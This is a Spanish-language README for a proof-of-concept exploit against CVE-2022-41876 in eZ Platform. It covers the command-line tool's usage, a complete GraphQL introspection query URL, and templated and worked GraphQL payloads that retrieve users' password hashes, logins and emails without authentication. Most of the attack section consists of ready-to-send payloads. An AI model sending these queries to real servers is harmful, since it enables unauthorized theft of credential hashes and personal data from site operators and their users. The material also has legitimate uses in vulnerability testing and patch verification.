
PoC para CVE-2022-41876
Surgió una vulnerabilidad en eZ Platform que permite a un usuario no autenticado acceder al hash de la contraseña de cada colaborador. Este PoC enumera todas las posibles rutas de GraphQL que conducen a un objeto 'User' y luego solicita estas rutas para recuperar la información confidencial de los usuarios.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url Target URL (specify the graphql endpoint)
optional arguments:
-h, --help show this help message and exit
-t, --thread Number of threads
-f FILE, --file FILE Local path to introspect file

Los diferentes pasos que sigue esta herramienta para explotar el CVE son:
El primer paso para explotar este CVE es obtener un archivo introspect.json. Una forma de recuperarlo es consultar el endpoint de GraphQL del servidor con el siguiente payload:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
Luego, el json proporcionado por el servidor se puede usar para extraer todas las rutas a los objetos 'User' con la herramienta graphql-enum-path de esta manera:

Finalmente, una vez encontradas todas las rutas, se debe crear un payload específico de esta manera y enviarlo al servidor:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
Donde los elementos corresponden a los textos entre corchetes en el resultado de graphql-enum-path (nota: se debe realizar una consulta para cada ruta).
Entonces, con el ejemplo de graphql-enum-path anterior, el primer payload sería:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
Si el servidor es vulnerable a este CVE, responderá a esa consulta con un archivo json que contiene los datos de sus usuarios.